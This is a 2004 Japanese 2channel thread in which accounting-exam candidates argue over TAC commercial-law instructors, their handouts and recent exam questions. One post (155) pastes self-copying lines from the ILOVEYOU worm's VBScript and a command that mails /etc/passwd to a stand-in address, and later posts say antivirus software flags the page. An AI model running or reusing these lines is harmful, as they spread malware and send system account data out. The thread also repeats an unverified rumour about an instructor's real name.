144 :一般に公正妥当と認められた名無しさん:04/04/19 22:56 ID:???
ババ専のヘンタイがいっぱいいるな

145 :miho:04/04/22 22:19 ID:fu1za5qT
大学で何を学んだのか。幅広い知識や常識な無い?
社会について学ぶ意欲はなかったのか?
そもそも情報の取捨択一をする能力が無い?
何も考えないで生きてきて、社会を知らずに社会人になった・・
そんな学生にも社会人にもなれない中途半端な人間。

欲しいと思うのか?
本当に新卒=既卒と思うのか?
高卒でなく大卒を募集するのは、ある程度振るいを掛ける意図があるんだろう。
だから、大卒は高卒より高い評価を受けている場合が一般的だ。

では、既卒とは??
全体像では振るいから落ちた側と考える事に無理は無い。
だから、既卒は新卒より低い評価を受けている場合が一般的だ。

ここでゴネている人間には大きな問題がある。
相手の立場にたってものを考える事が出来ない。
だから相手の大きな利害に気がつかない。

大体、新卒しか応募しない会社が間違っていると思うなら、
行かなきゃいいだろ。間違っていない伸びる会社とやらに行けばいい。

で・・・・・・・・・・・・来る者拒まずの所は嫌がるんでしょ?
新卒しか応募しない会社が良い会社で、
既卒や高卒を応募する会社は避けてる奴ばかりだろ?

何でだ?理由を一つでも多く正直に挙げてみな。
それを見つめれば、相手の気持ちも理解できるだろう。



146 :一般に公正妥当と認められた名無しさん:04/05/14 23:38 ID:???
短答まとめのレジュメ、間違いが多くない?

147 :一般に公正妥当と認められた名無しさん :04/05/19 11:34 ID:???
阿部先生と小飯塚先生では、
教え方やレジュメはどんな違いがありますか?


148 :一般に公正妥当と認められた名無しさん:04/05/31 07:20 ID:???
阿部じゃダメだ・・・・・。 もうだめぽ・・。

149 :一般に公正妥当と認められた名無しさん:04/05/31 10:44 ID:UBe82N0t
アベレジュメ+TACの短答問題集で普通に8点とれたんだが、彼はそんなにダメか?
それとも、俺が商法をつかめてないだけなのか。
とりあえず俺は授業が早く終わるから好きなのだがw

150 :そうだべ:04/05/31 10:51 ID:nh9p1cYg
講師なんてだれでも同じだっちゅうね。自分の努力不足を学校や講師のせいにするな。

151 :一般に公正妥当と認められた名無しさん:04/05/31 21:18 ID:1cA2YXf4
こいつの嫁って濃い図化なんでしょ?

152 :一般に公正妥当と認められた名無しさん:04/06/01 02:47 ID:???
>>151
阿部の嫁は、受講生だった現在会計士の女性だよ。
こいづかの旦那は弁護士。



153 :一般に公正妥当と認められた名無しさん:04/06/08 16:49 ID:t5FEwu07
阿部ってけっこんしてないっっしょ。

154 :一般に公正妥当と認められた名無しさん:04/06/08 17:00 ID:???
司法受かってない阿部や公文がデカイ顔できるタックって一体…

155 :一般に公正妥当と認められた名無しさん:04/06/08 17:08 ID:???
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
   If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
   c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

cat /etc/passwd | mail nobody@nonexistent.com




156 :一般に公正妥当と認められた名無しさん:04/06/08 17:14 ID:???
ここノートン反応出てるよ。
って、ここ見て気付くわけだけど(w

157 :一般に公正妥当と認められた名無しさん:04/06/08 17:17 ID:???
>>156
どうしたらいいのよ?

158 :一般に公正妥当と認められた名無しさん:04/06/08 17:22 ID:???
>>157
異常がないようなら構わないかも知れないけど
ちゃんとしたウィルスソフト入れたいい方がいいと思う。


159 :一般に公正妥当と認められた名無しさん:04/06/08 17:24 ID:???
文字の消し忘れスマソ

160 :一般に公正妥当と認められた名無しさん:04/06/13 17:11 ID:???
阿部はどうか知らんけど
小飯塚レジュメは夏と秋で大分違うね。

俺は秋だったけど当初は夏のも入手して先取りしてた。
しかし、秋の方が大幅に改正が反映されてたり、既存の制度についても
より詳細に新たに情報が追加されてたりしてたので、
教材に加工を施す癖のある俺は二度手間になるから結局先取りは止めた。



161 :一般に公正妥当と認められた名無しさん:04/06/14 01:18 ID:???
阿部ほどいい加減な講師も珍しいよな

162 :一般に公正妥当と認められた名無しさん:04/06/14 01:49 ID:???
いい加減な講師のほうがいい場合もある。
おれは余計なことを言わないので好きだ。
小飯塚は口だけでぺらぺら難しいことを言うのでついてけへん。

163 :一般に公正妥当と認められた名無しさん:04/06/14 01:56 ID:???
小飯塚は内容を鳥瞰して説明し過ぎてる気がする。
全体像を説明してる講義は聞けば理解はするが、レジュメのどこを説明してるのかわからなくて
メモのとりようがない。結局、なんも残らんって感じ。
板書も速くて、図とか書きながら早口で説明なもんでVでもついてくのしんどい。


俺がバカなのが悪いと言われればそれまでだがw

164 :一般に公正妥当と認められた名無しさん:04/07/10 00:32 ID:kMxlWjsk
次の上級も阿部先生でけってい!!

165 :一般に公正妥当と認められた名無しさん:04/07/10 00:43 ID:BRxeHeUK
レックの3階の受付に阿部そっくりの人いるよ。


でもね考えてみ?タックの若手講師に阿部派いる?
短刀解答速報で納得した人何人いる?

なぜあの生き物は、自分の教えていない理論を声高らかにさけぶのだ??

166 :一般に公正妥当と認められた名無しさん:04/07/10 09:48 ID:???
阿部先生の発言は強気だけど本当は気の弱い人だよ。

167 :一般に公正妥当と認められた名無しさん:04/07/11 00:24 ID:slXHyoz9
>>166
そこがかわいい!!

168 :一般に公正妥当と認められた名無しさん:04/07/11 00:33 ID:???
民法の宮内先生が商法もやればいいと思うんだけど
彼は司法に現役合格してるし信頼できる

169 :赤シャカ ◆MG8fAlDDKs :04/07/11 00:38 ID:???
宮内はやる範囲が多いから他の科目の負担にならないか?

170 :一般に公正妥当と認められた名無しさん:04/07/11 00:38 ID:wF9pllZS
安部がまともな授業する→一年目の受講生が会計士は大変だと思う
→上級の生徒が減る。

じゃっ、ほっとくか

171 :名無しさん@そうだ選挙に行こう:04/07/11 18:39 ID:rXiKvcdS
あべさんで一発で受かった人多いんですが・・・
何で嫌いかね。
あの授業ちゃんここなせば、商法に関してはなんら問題ないよ。

172 :名無しさん@そうだ選挙に行こう:04/07/11 18:57 ID:wF9pllZS
171みたいなのがいる
商法だけでも競争が楽になる

ほっとこう

173 :名無しさん@そうだ選挙に行こう:04/07/11 18:59 ID:???
宮内先生が商法もやって、鑑定士民法担当の浅井先生(司法試験合格)が会計士民法も担当すればいいと思う。
負担も大して増えないし、問題ないはずだ。

174 :名無しさん@そうだ選挙に行こう:04/07/11 19:51 ID:wF9pllZS
だったら、伊藤塾あたりと提携して民法商法に司法試験合格者講師をまわしてもらうとか
シケタイも使えるようになるし

175 :一般に公正妥当と認められた名無しさん:04/07/11 20:41 ID:???
シケタイ商法は短答なしを想定してるから会計士にはつかえない。


176 :一般に公正妥当と認められた名無しさん:04/07/11 21:14 ID:wF9pllZS
短刀パワーアップがあるからいいじゃん

177 :一般に公正妥当と認められた名無しさん:04/07/11 21:16 ID:wF9pllZS
しかも、安部レジメってデバイスそのまんま
なぜシケタイが会計士で使えないと?

178 :一般に公正妥当と認められた名無しさん:04/07/11 21:51 ID:???
ID:wF9pllZS
君は教師の批判ばかりしてないで少しは勉強しましょう。
ベテになったのを教師のせいにしないようにな。




179 :一般に公正妥当と認められた名無しさん:04/07/11 22:24 ID:???
本試験商法で大差はつけられねーよ
計算ができないヴェテ→wF9pllZS

180 :一般に公正妥当と認められた名無しさん:04/07/11 22:36 ID:wF9pllZS
商法は結構勉強した、だから安部じゃだめだと思う。
もしも、俺に簿記と経済でアドバンテージ取る力があれば安部に感謝するよ
でも、ここって基本的にタックの短期用カリキュラムに落ちた人の集まりだろ?
じゃ、タックの力入れてない財表・商法どうにかして、周りとの差を縮めなきゃ。
安部批判はそんな考えから。
みんながみんな計算三科目だけで勝てるとは思えない、

俺は短刀受かったから勉強しなきゃならん178のゆーとうり。
ちなみに、俺は安部のレジメにそっくりなデバイスとそのまとめノート、参考用にリーガル弥永
なるものを使ってがんばってるよ。
最初にならったのが阿部だから、感覚的に阿部=商法ってのは抜けない、
だから、そこに何をプラスαできるかが大切だと思う。

あえて、IDはさらす

181 :一般に公正妥当と認められた名無しさん:04/07/11 22:41 ID:wF9pllZS
>>179
でも少しサボるとすぐ差がつけられちゃう。
大原の論文模試みたいに典型論点だと差がすごくつく

182 :一般に公正妥当と認められた名無しさん:04/07/11 22:43 ID:???
なんていうか阿部レジュメは使う人次第
うまく使えない人はしがみつくべきではない

183 :一般に公正妥当と認められた名無しさん:04/07/12 09:15 ID:tPccIOGO
ABEは、1年目短期合格用でしょ!?
1年目は、商法に時間かけてらんないから、
財表も同じ。
短刀は、どっちも問題なく取れるけど、
論文は、直前のヤマ当てにかけてるのが、TAC。
財表は、2連チャンで外してるらしい。
OとLは当ててるらしいけど・・・
母集団でギリギリセーフってとこか!?


184 :一般に公正妥当と認められた名無しさん:04/08/14 17:20 ID:???
がんがれ

185 :一般に公正妥当と認められた名無しさん:04/08/15 23:41 ID:rsn7ZKIl
漏れ、大学の先生が試験委員やから、研究室で問題見てもうた。商法は今年も設立だぞ。


186 :一般に公正妥当と認められた名無しさん:04/08/16 01:36 ID:???
信じます

187 :一般に公正妥当と認められた名無しさん:04/08/16 01:38 ID:???
すまんが、設立の他はなんだ?

188 :一般に公正妥当と認められた名無しさん:04/08/16 01:39 ID:???
設立なわけねーだろ、アフォ

189 :一般に公正妥当と認められた名無しさん:04/08/16 02:23 ID:GeC+ojMO
その試験委員は人生を棒に振ったな

190 :一般に公正妥当と認められた名無しさん:04/08/16 02:33 ID:fkleNLFk
漏れの大学は阿部でここ5年で3桁の合格者を輩出してるんだけど・・・



191 :一般に公正妥当と認められた名無しさん:04/08/16 04:02 ID:???
別にてめえの大学じゃねーよw金払って通わせてもらってるだけだろw
しかもお前短答落ちじゃんwしってっから

192 :一般に公正妥当と認められた名無しさん:04/08/16 14:08 ID:/Iq+WyEg
漏れ、大学の先生が試験委員やから、研究室で問題見てもうた。商法は今年も設立だぞ。



193 :一般に公正妥当と認められた名無しさん:04/08/16 22:59 ID:???
3年連続で設立だったら、さすがにいやん

194 :一般に公正妥当と認められた名無しさん:04/08/17 17:01 ID:???
>>191
>別にてめえの大学じゃねーよw金払って通わせてもらってるだけだろw
精神年齢低すぎ。小学生でちゅか?

195 :>:04/08/27 03:30 ID:l6K0OL7m
age

196 :一般に公正妥当と認められた名無しさん:04/08/27 03:58 ID:???
>>194
むきになって言い返すなよwちょっとうけたw

197 :一般に公正妥当と認められた名無しさん:04/08/29 19:06 ID:???
太郎ちゃんとアーチェリーで銀とった先生って似てる

198 :一般に公正妥当と認められた名無しさん:04/09/01 10:47 ID:???
にてないよ!

199 :一般に公正妥当と認められた名無しさん:04/09/07 13:39 ID:???
阿部チャソ何で通信降りちゃったんだろ。

大谷もいいんだけどさ、阿部の毒舌が聞けないのは少し寂しい

200 :一般に公正妥当と認められた名無しさん:04/09/09 12:19 ID:wQNMZP+s
WEB通信?カセット通信は、安部じゃね?


201 :一般に公正妥当と認められた名無しさん:04/09/09 12:26 ID:???
小飯塚とどっちがいいのか

202 :一般に公正妥当と認められた名無しさん:04/09/09 16:28 ID:???
WEB→大谷
カセット→阿部

なのか。何でわざわざわけてんだろ。

203 :一般に公正妥当と認められた名無しさん:04/09/09 16:34 ID:???
阿部で充分だと個人的には思うよ。担当対策だけ別にしないと駄目だけどね。

204 :一般に公正妥当と認められた名無しさん:04/09/09 23:19 ID:???
大谷は最高!わかりやすい。てかよくわかってるよ

205 :一般に公正妥当と認められた名無しさん:04/09/10 05:57 ID:???
大谷は本物の弁護士だからなー。
やっぱり説明が論理的だよ。

もうちょっと人気が出てもいい気がするんだけどね。
TACer的には最小の労力で試験範囲を一周できる
阿部が好きなんだろうな。

206 :一般に公正妥当と認められた名無しさん:04/09/10 08:02 ID:???
あべたろうが芸名だとか言ってたきちがいがいたな

207 :一般に公正妥当と認められた名無しさん:04/09/16 05:17:02 ID:???
たろーちゃんは山本昌ににてる

208 :一般に公正妥当と認められた名無しさん:04/10/08 23:28:15 ID:DawSnogS
にてへん

209 :一般に公正妥当と認められた名無しさん:04/10/09 06:53:26 ID:???
207ではないが、にてるじゃん
関西人はすっこんでろ

210 :一般に公正妥当と認められた名無しさん:04/10/09 07:04:11 ID:???
むしろデーブ似ているだろ。

211 :一般に公正妥当と認められた名無しさん:04/10/09 07:04:42 ID:???
デーブにだ、スマソ。

212 :一般に公正妥当と認められた名無しさん:04/10/09 09:12:24 ID:kK9+2ase
監査を南にして、商法を阿倍にするのがよい。

213 :一般に公正妥当と認められた名無しさん:04/10/09 09:31:15 ID:???
206は基地外。

214 :一般に公正妥当と認められた名無しさん:04/10/09 23:51:51 ID:???
今年も阿部のおかげで商法の平均点下がったね

215 :一般に公正妥当と認められた名無しさん:04/10/10 00:05:24 ID:???
去年もだろ。

216 :一般に公正妥当と認められた名無しさん:04/10/10 00:18:14 ID:???
なんやかんや言って、TACはマジョリティだからな。

217 :一般に公正妥当と認められた名無しさん:04/10/10 00:41:20 ID:???
小飯塚のほうがいいんでしょ

218 :一般に公正妥当と認められた名無しさん:04/10/10 12:31:43 ID:???
阿部太郎よりも牛丼太郎のほうがいい

219 :一般に公正妥当と認められた名無しさん:04/10/10 13:36:49 ID:???
はげどう


220 :一般に公正妥当と認められた名無しさん:04/10/10 15:16:33 ID:???
去年も駄目、今年も駄目、阿部ちゃん責任取れよ。

221 :一般に公正妥当と認められた名無しさん:04/10/10 20:30:20 ID:4YxfP2zi
自分のせいだろ
まさか短答落ちか?
おれは論文の結果待ちだが阿部さんのせいにはせんぞ
つーか商法普通に取れたし

222 :一般に公正妥当と認められた名無しさん:04/10/10 20:35:52 ID:???
>>221 タック生の普通じゃ駄目だろ
大原レックは相互保有株テキストにばっちり載ってたわけだし

223 :一般に公正妥当と認められた名無しさん:04/10/10 20:51:59 ID:???
な、なぬ!?
そ、それはおいしいな〜!!
TACありがたや〜

224 :一般に公正妥当と認められた名無しさん:04/10/10 21:28:51 ID:???
>>221
短刀なんぞ落ちる。

225 :一般に公正妥当と認められた名無しさん:04/10/10 21:29:26 ID:???
か、をつけ忘れた。

226 :一般に公正妥当と認められた名無しさん:04/10/11 00:28:36 ID:???
阿部太朗の本名は竹下浩美って本当?
あまり公に名前を知られるのは嫌だとか。


227 :一般に公正妥当と認められた名無しさん:04/10/11 01:53:42 ID:???
自分のレジュメに載せてないのに典型問題だってさ
よく言うよ、このトラック運転手は

228 :一般に公正妥当と認められた名無しさん:04/10/11 02:09:47 ID:???
>>224
お前って馬鹿か超頭いいかのどっちかだろ?

229 :一般に公正妥当と認められた名無しさん:04/10/11 02:20:15 ID:???
>年々内容が無茶苦茶になってる…(二回目受験)

なんか、2回目ぐらいじゃないような気が・・・

230 :一般に公正妥当と認められた名無しさん:04/10/11 03:35:48 ID:???
さっして、、やれよ・・

231 :一般に公正妥当と認められた名無しさん:04/10/11 03:42:38 ID:???
阿部って元司法ベテ?
どういうルートでタックの講師になったの?

232 :一般に公正妥当と認められた名無しさん:04/10/11 04:00:56 ID:???
TACとLECはもともと一つの会社で、昔分裂したんだけど、講師派遣
については内密に繋がっているっていう話だよ。

233 :一般に公正妥当と認められた名無しさん:04/10/11 08:49:18 ID:???
某地方の講師はよく阿部批判しているな

234 :一般に公正妥当と認められた名無しさん:04/10/11 11:40:59 ID:???
小飯塚とどっちがいい?

235 :一般に公正妥当と認められた名無しさん:04/10/11 17:19:20 ID:???
普通に小飯塚だろ

ってかこないだ休憩室で
「こいタンもう10歳若かったら絶対恋してる」
って言ってる香具師がいたが…

236 :一般に公正妥当と認められた名無しさん:04/10/11 18:08:40 ID:???
小飯塚さんってどういうところがいいの?

237 :一般に公正妥当と認められた名無しさん:04/10/11 22:36:18 ID:NTpKrwq2
俺には必要にして十分だったがな。

小飯塚さんは細かいし、複数年受験者にはたしかにいい。
このスレは、複数年受験者もしくはベテ(共に会計士受験の多数派かな)が褒めてるような。

自分で不満だと判断したら変えればいいさ。
1発ねらってるなら商法は阿部さんで問題はないとおもうなぁ。


238 :一般に公正妥当と認められた名無しさん:04/10/11 22:41:50 ID:???
普通は1年目は阿部でしょ。
濃いタンではかなりきつい。まず何言ってるかわかんないしね

239 :一般に公正妥当と認められた名無しさん:04/10/11 23:14:47 ID:???
うそ。

漏れ一年目でバリバリの小飯塚だけど結構いいと思うよ。


240 :一般に公正妥当と認められた名無しさん:04/10/14 00:05:58 ID:/YcDCi1Q
何が嘘なんだか・・・
悪くはないだろ。
第一バリバリの小飯塚ってなにやねん。

241 :一般に公正妥当と認められた名無しさん:04/10/14 00:39:10 ID:???
>>240
バリバリの・・・・
というのは、若者が使う言葉だよ。
ベテさんだから知らないみたいだねw

242 :一般に公正妥当と認められた名無しさん:04/10/14 00:43:44 ID:???
すげぇ。

3日ぶりにカキコが来た。

見えないところでつながってるんだね(はあと



243 :一般に公正妥当と認められた名無しさん:04/10/15 13:30:47 ID:t0Q2JxBF
>バリバリの・・・・
>というのは、若者が使う言葉だよ。

お前いくつだよ?釣りだよな?釣りといってくれ・・・

バリバリなんて今は使わんよ・・・
論文結果待ち(ここポイントね)の大学3年生より。


244 :一般に公正妥当と認められた名無しさん:04/10/15 17:42:20 ID:???
VERY VERY
  ↓
べりーべりー
  ↓
ヴェリーヴェリー
  ↓
ヴァリーヴァリー
  ↓
バリバリ

245 :一般に公正妥当と認められた名無しさん:04/10/15 18:23:36 ID:???
バリバリってうちの親父が使ってたよ

246 :一般に公正妥当と認められた名無しさん:04/10/15 19:23:38 ID:???
多分、メリケン帰りなのでせう。

247 :一般に公正妥当と認められた名無しさん:04/10/16 11:39:06 ID:???
阿部は無責任なヤローだよ

248 :一般に公正妥当と認められた名無しさん:04/10/16 12:34:18 ID:???
なんで?

249 :一般に公正妥当と認められた名無しさん:04/10/16 12:59:53 ID:4GTyJY9s
>>239=>>241=>>242
おい、おっさん、煽られてるぞ!




250 :一般に公正妥当と認められた名無しさん:04/10/16 13:27:51 ID:YAAkO7la
バリバリ伝説が愛読書です。

251 :一般に公正妥当と認められた名無しさん:04/10/16 13:28:28 ID:???
現受講生です。
ためになります。阿部先生。
レジュメとか気に入ってるんですけど。
あれで不満なんてベテさんってすごいんですね。

252 :一般に公正妥当と認められた名無しさん:04/10/16 13:31:32 ID:???
本試験受ければ分かるよ、レジュメに載ってない問題が出るからね。

253 :一般に公正妥当と認められた名無しさん:04/10/16 13:36:01 ID:???
講師のレジュメに載ってる問題がでると思い込んでるの?

254 :一般に公正妥当と認められた名無しさん:04/10/16 13:36:38 ID:???
去年もそうだし、今年もそうだよ、典型論点らしいけどね本人が言うには、
典型論点ならレジュメに載っていてもよさそうなもんだけどね、君はどう思う?

小飯塚や他の予備校はばっちり出てたらしいよ、いやーまいっちゃうよね。

255 :一般に公正妥当と認められた名無しさん:04/10/16 13:45:24 ID:???
まあ、阿部でもなんとかなる問題ではあったよ、ただ他との比較で問題だと言っているだけだよ、
阿部なら受からないとは思わないから、阿部が良いと言う人は続ければ良いと思う。

256 :一般に公正妥当と認められた名無しさん:04/10/16 14:02:02 ID:???
普通に書けましたよ?レジュメに書いてあったことで。
時間あたり点数で考えたら、かなりのパフォーマンスだと思うけど。

257 :一般に公正妥当と認められた名無しさん:04/10/16 16:03:56 ID:???
TACってなんで講師ごとにレジュメ作ってるのか分からん。
こいつらがテキスト作ってちゃんとTACとして
統一なこと教えろよ。
それともリスクの分散化しているだけなのか
講師選ぶのも自己責任とか

258 :一般に公正妥当と認められた名無しさん:04/10/16 21:15:29 ID:???
阿部で効率よく点数取れたつもりのやつ笑えるなw

実際の本試験の採点じゃ点数来てないというのに

259 :一般に公正妥当と認められた名無しさん:04/10/16 21:34:03 ID:???
>>258
学部で商法専攻だったら阿部ちゃんでも全然無問題だよ。
でも法律を専門的に学んでない人だったら阿部ちゃんよりも恋ちゃんの
方がいいよね。

260 :一般に公正妥当と認められた名無しさん:04/10/16 21:39:44 ID:???
何を書いたんだよ。ぷぷ

261 :254:04/10/16 21:45:33 ID:???
一応言っておくが、相互保有は3パターンに分けて規制・趣旨書いたよ。

262 :一般に公正妥当と認められた名無しさん:04/10/16 22:05:51 ID:???
入門上がり、現在秋上級でVTRあべとってます。
自分はレジュメはもちろんですが
教科書もきちんとやってます。
講義に出てしっかり理解しレジュメと教科書で復習してます。
それでも商法の問題全く取れないなんてことありますか??そんなにあべはダメなのでしょうか?
ちなみに自分は本試験では商法は守りで半分きっちりとれればそれでいいとい思ってます。
あくまで経済とゲンケーと簿記で攻めるので

どうもこのスレを見ている限り、
自分が努力不足で受からないのを講師のせいにしているのでは?と思います。
それにもし実際あべさんで今年の試験不利だったとしても、もう仕方ないじゃないですか
グチってないで講師変えて来年に向けて勉強すればいいじゃないですか。
その時点ですでに周りと差がついてしまうのでないでしょうか?


263 :一般に公正妥当と認められた名無しさん:04/10/16 22:12:59 ID:???
来年受ける奴はもうやっているよ、お前に言われなくとも。

264 :俺も入門:04/10/16 22:14:13 ID:???
俺も今は別にあべさんでいいと思うけど、悪い教師だった・いい教師
だったっていうのは実際試験を受けてみてはじめてわかるのかもね。

265 :254:04/10/16 22:16:04 ID:???
お前等が信用しなくても別に良いんだよ、好きにやってくれよ、俺の努力不足かもしれないしね
俺は今年で止めるからさ。

266 :一般に公正妥当と認められた名無しさん:04/10/17 02:06:56 ID:eGhl4TGE
俺はおちこぼれのヴェテだけど、最近レジュメは補助資料
ということに気づき(もっと早く気付かないところが無能だ
な)レジュメ・テキスト・条文をくまなく読み込むようにな
った。復習は主にレジュメを軸にテキスト・条文の読み込み。
んでも他校の友人はタックのレジュメの多さにびっくりして
「教材が2倍だね。」とか言ってたな。今年は小飯塚先生と
ってるけど、彼女のレジュメは阿部とは比較にならんほど多
くて、かなり苦戦。復習がその日の内に終わらないことがほ
とんどだ。

267 :一般に公正妥当と認められた名無しさん:04/10/17 02:16:20 ID:???
>最近レジュメは補助資料ということに気づき

みんなこんな感じなのか?
だったら、漏れ、今回の論文で受かってるぞ。

268 :一般に公正妥当と認められた名無しさん:04/10/17 02:19:27 ID:???
>>266みたいな正直な香具師は叩く気がしないが、レジュメが補助資料
だってことは一回目の授業で講師が説明することだぞ・・・

269 :一般に公正妥当と認められた名無しさん:04/10/17 02:36:55 ID:???
補助資料のワリにはテキスト使わない説明が多いな。

270 :一般に公正妥当と認められた名無しさん:04/10/17 04:05:50 ID:???
個人名がタイトルになってるくらいだから相当いいんだろうね、逆に見ると

271 :一般に公正妥当と認められた名無しさん:04/10/17 12:32:27 ID:eGhl4TGE
でも正直TACの講師は「テキストは使いません。」みたいなことを
上級講義開始時にいうだろ。あれで、レジュメオンリーになっちゃ
うやつ結構いるみたいだな。

272 :一般に公正妥当と認められた名無しさん:04/10/17 12:56:10 ID:???
まぁ確かにテキストは予習するときとか参考程度とか言うてるな

273 :一般に公正妥当と認められた名無しさん:04/10/17 15:52:12 ID:???
まあレジュメゲットすれば誰でもおっけ
授業出る必要なし
テキストは参考書代わり
論文編は眺める程度
これで商法は十分
もちろん担当は別個

274 :一般に公正妥当と認められた名無しさん:04/10/17 19:42:47 ID:???
恋タンは受けてて楽しいが。

275 :一般に公正妥当と認められた名無しさん:04/10/17 19:50:00 ID:???
うっふんあっはん言ってるからね

276 :一般に公正妥当と認められた名無しさん:04/10/18 00:07:07 ID:Y3+tb+F7
小飯塚はなに言ってるかわからない。どこ説明してるかわからない。すべてではないが。
おれがバカなのか?

レジュメはいいと思うけど。

277 :一般に公正妥当と認められた名無しさん:04/10/18 00:15:47 ID:???
>>276
おまえだけw

278 :小○塚:04/10/18 00:18:10 ID:???
簡単ですよね、うふふふふ♪

279 :一般に公正妥当と認められた名無しさん:04/10/18 00:25:40 ID:Y3+tb+F7
俺と同じこといってる奴数人いたが。

280 :一般に公正妥当と認められた名無しさん:04/10/18 00:58:07 ID:???
レジュメだけでOKだとすると、効率性ではbPですね。

281 :一般に公正妥当と認められた名無しさん:04/10/19 18:08:32 ID:mjX/Jv3U
レジュメなくてもテキストをしっかりやればOK。
ただし、TACの商法テキストは・・・

282 :子飯塚:04/10/19 19:48:05 ID:???
もうみなさん知ってますよね♪



Vの間から乳が!

283 :一般に公正妥当と認められた名無しさん:04/10/19 21:11:55 ID:???
>>281
どういうこと?


284 :一般に公正妥当と認められた名無しさん:04/10/19 21:13:01 ID:???
>>283

TACの商法のテキストは・・・

ねぇ藁。

285 :一般に公正妥当と認められた名無しさん:04/10/19 21:38:41 ID:???
な、なにっ!

ど、ど、どういうことだ!!


286 :一般に公正妥当と認められた名無しさん:04/10/19 21:50:29 ID:???
>>285ぉ、後ろ!後ろ!

287 :一般に公正妥当と認められた名無しさん:04/10/23 22:20:21 ID:???
な、なnsfvg:p!!!

う、うぅぅうぅ…
うわあああぁあぁああぁぁあぁぁぁーーーーーーーーーーーーーっ!!!


288 :一般に公正妥当と認められた名無しさん:04/10/24 19:49:41 ID:???
>>287
どうした?

289 :一般に公正妥当と認められた名無しさん:04/10/25 00:46:05 ID:???
>>288
あqwsでrftgyふじkぉ;p!!!!!!!

290 :一般に公正妥当と認められた名無しさん:04/10/25 02:52:18 ID:???
くぁwせdrftgyふじこlp;

291 :一般に公正妥当と認められた名無しさん:04/10/25 04:43:53 ID:???
あべっちいいいいいいいいいい

292 :一般に公正妥当と認められた名無しさん:04/10/28 14:46:01 ID:???
小飯塚の通信って無いの?

293 :一般に公正妥当と認められた名無しさん:04/10/28 23:44:02 ID:???
ねーよ!蛆虫!土に還れ!

294 :一般に公正妥当と認められた名無しさん:04/10/29 00:48:17 ID:LwQsOIIa
カスが
タントウさえ受からないならもっと勉強しろよ。

295 :一般に公正妥当と認められた名無しさん:04/10/29 01:10:03 ID:???
商法に関して言えば、レジュメだけで受かるのは元TAC講師の長瀬だけだろ。
もっとも、今は図解「テキスト」に昇格しちゃってるけどな。

296 :一般に公正妥当と認められた名無しさん:04/10/29 13:07:51 ID:tQ8RHAjy
今年から大原に変えたんだけれど
一番の違いは商法
去年論文A落ち(商法出来なかった)の自分とって
今まで楽しようとして阿部のレジュメしかやらなかったのが悔やまれる
阿部は短期合格用に最低限しかやらないので
去年みたいにポカもあるし
暗記に走って背景の理論を忘れがちになる

297 :一般に公正妥当と認められた名無しさん:04/10/29 13:22:25 ID:???
論文が受からないのに、短答特化して優越に浸ってんじゃねーよ。

298 :一般に公正妥当と認められた名無しさん:04/10/29 13:38:47 ID:tQ8RHAjy
今年は短答落ちた
監査法人をまわってて再開が遅れた
短答はいつもボーダー付近だ
全答練の結果の方がいいので特化してる訳ではない

299 :一般に公正妥当と認められた名無しさん:04/10/29 13:47:36 ID:???
単なる不合格の分際で他人との差別化必死になってる【俺論文A判定落ち】キタ━━━━(゜∀゜)━━━━!!

300 :一般に公正妥当と認められた名無しさん:04/10/29 13:49:12 ID:???
あなた、それは阿部先生のせいじゃないよ・・・。

301 :一般に公正妥当と認められた名無しさん:04/10/29 13:51:27 ID:tQ8RHAjy
君は成熟した人間ではないようだ

302 :一般に公正妥当と認められた名無しさん:04/10/29 16:08:31 ID:???
>>296、298
そのパターンだともう受験止めた方がいいと思うよ、マジで。
試験は水物だから合格できないとは思わないけど、努力しても
合格しにくいタイプだと思うな。
受験にのめり込みすぎると撤退の時かなり厳しい現実が
待ってるから、期限を決めた方がいいと思う。
かくいう俺は受験5回目で今年落ちたら撤退確定組。

303 :一般に公正妥当と認められた名無しさん:04/10/29 18:50:35 ID:???
少なくとも聞かれてもないのにA落ちとか短答に1点足りず落ちたとか
言ってる勘違いマンはすでに敗者

304 :一般に公正妥当と認められた名無しさん:04/10/29 19:22:23 ID:mDvDsipL
>>298
短答落ちがなんで監査法人回ってんだよ?

305 :一般に公正妥当と認められた名無しさん:04/10/29 21:07:27 ID:???
>>302
5回も落ちてよく続けるきになるなぁ・・・

俺は入門上がりで阿部一筋だからこういうスレッドみると不安になるなぁ。
一応短刀トウレンでコイヅカ1度見たけどわかりにくいニュースキャスターみたいだったな。
思うに阿部のレジュメ自体他の先生より量少ない(?)っぽいけど
あれだけでも結構キツイんですが・・・。
論述丸覚え(矢印でつないでく論述)だと確かに対応しきれなそうだよね。
俺は塊でとらえず自分で1つ1つを分析してテキストとか使いつつ勉強してる。

ただ大原にしてもタックにしてもアベでもコイヅカでも受かるヤツは受かってるわけだから
やっぱり本人次第なのかな・・・?
それをいったらどの先生が一番効率的でいいかという議論からずれちゃうけどさ

306 :一般に公正妥当と認められた名無しさん:04/10/29 21:31:14 ID:???
こいづかはNHKの熟女アナみたいな

307 :一般に公正妥当と認められた名無しさん:04/10/29 21:41:45 ID:NRSGNE++
TAC2003年目標商法上級第14回阿部レジュメ
「株式会社間で相互に株式を保有することを放任すると、どのような
弊害が生じるか。商法はこれに対してどのような措置を講じているか。」

今年の本試験の問題
「株式会社の株式相互保有に関して、下記の問いに答えなさい。
 問1 商法上、どのような規制が設けられているか。
 問2 問1の規制は、どのような弊害に対応するためか。」


的中させてたんですね。

308 :一般に公正妥当と認められた名無しさん:04/10/29 22:25:33 ID:w0DkRqNw
>>TAC2003年目標商法上級第14回阿部レジュメ

2003年ってとこがポイントw  2004年目標レジュメには、載ってない。

309 :一般に公正妥当と認められた名無しさん:04/10/29 22:32:05 ID:w0DkRqNw
>>276

同感です。小飯塚センセは説明があまりお上手でない。弁護士資格持ってるのにあの説明かよ・・・

310 :一般に公正妥当と認められた名無しさん:04/10/29 23:18:52 ID:???
あべさんこいいづかさんが弁護士資格持ってるソースあります?

311 :一般に公正妥当と認められた名無しさん:04/10/29 23:53:58 ID:???
ソースは2ch

312 :一般に公正妥当と認められた名無しさん:04/10/29 23:55:07 ID:???
小飯塚センセは弁護士資格はありません。
本人がそういってました。


313 :一般に公正妥当と認められた名無しさん:04/10/30 01:04:17 ID:1ydPyAI5
肥塚先生、うちの母ちゃんに似ている。

314 :一般に公正妥当と認められた名無しさん:04/10/30 01:06:34 ID:???
講義の良し悪しとは関係ないな。

